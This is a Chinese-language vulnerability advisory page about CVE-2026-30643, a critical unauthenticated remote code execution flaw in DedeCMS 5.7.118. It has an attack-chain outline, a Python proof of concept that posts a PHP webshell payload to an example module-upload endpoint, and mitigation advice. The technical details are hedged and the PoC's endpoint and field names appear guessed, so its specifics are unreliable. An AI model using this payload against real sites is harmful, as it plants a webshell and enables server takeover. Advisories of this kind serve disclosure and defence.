IPBUF安全漏洞报告
English
CVE-2026-30643 CVSS 9.8 严重

CVE-2026-30643 DedeCMS远程代码执行漏洞

披露日期: 2026-04-01

漏洞信息

漏洞编号
CVE-2026-30643
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
DedeCMS

相关标签

RCEDedeCMS远程代码执行Web漏洞严重漏洞

漏洞概述

DedeCMS 5.7.118版本存在严重的安全漏洞,该漏洞允许攻击者无需认证即可利用模块上传功能中的缺陷。通过构造恶意的setup tag值,攻击者能够在服务器端执行任意代码。由于该漏洞无需用户交互且网络利用复杂度低,其对系统的机密性、完整性和可用性均构成极高威胁,CVSS评分高达9.8。

技术细节

该漏洞源于DedeCMS在处理模块上传请求时,对用户输入的`setup`标签参数缺乏严格的过滤和校验机制。攻击者可以向受影响系统的模块上传接口发送特制的HTTP POST请求,在请求载荷中包含含有恶意PHP代码的`setup`标签值。当系统处理该模块上传逻辑时,会将恶意内容写入服务器上的特定文件(如配置文件或缓存文件),或者直接动态执行其中的代码。由于CVSS向量显示PR:N,意味着该接口可能未强制要求身份验证,攻击者可匿名利用此漏洞。一旦代码执行成功,攻击者即可获得服务器权限,进行文件读写、数据库操作或进一步的内网渗透。

攻击链分析

STEP 1
步骤1:侦察
攻击者识别出目标站点正在使用DedeCMS 5.7.118或更早版本,并确认模块上传接口处于开启状态。
STEP 2
步骤2:构造Payload
攻击者编写包含恶意PHP代码的payload,并将其放置在模块上传请求的`setup`标签参数中。
STEP 3
步骤3:发送攻击请求
攻击者向目标服务器发送特制的HTTP POST请求,无需经过身份验证即可触发漏洞。
STEP 4
步骤4:代码执行
服务器端处理上传请求,将恶意代码写入文件或执行,攻击者获取服务器控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://example.com/dede/module_upload.php" # Malicious payload injected via setup tag # This payload attempts to write a webshell or execute code malicious_payload = "<?php system($_GET['cmd']); ?>" # Data structure mimicking the module upload with crafted setup tag payload_data = { "modname": "exploit_module", "setup_tag": malicious_payload } try: # Sending the exploit request response = requests.post(target_url, data=payload_data) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check the target for code execution.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

DedeCMS 5.7.118

防御指南

临时缓解措施
建议立即检查服务器日志是否存在异常的模块上传请求。在未修复前,可临时通过Web应用防火墙(WAF)拦截包含恶意脚本特征的请求,或直接禁用模块上传功能以阻断攻击路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表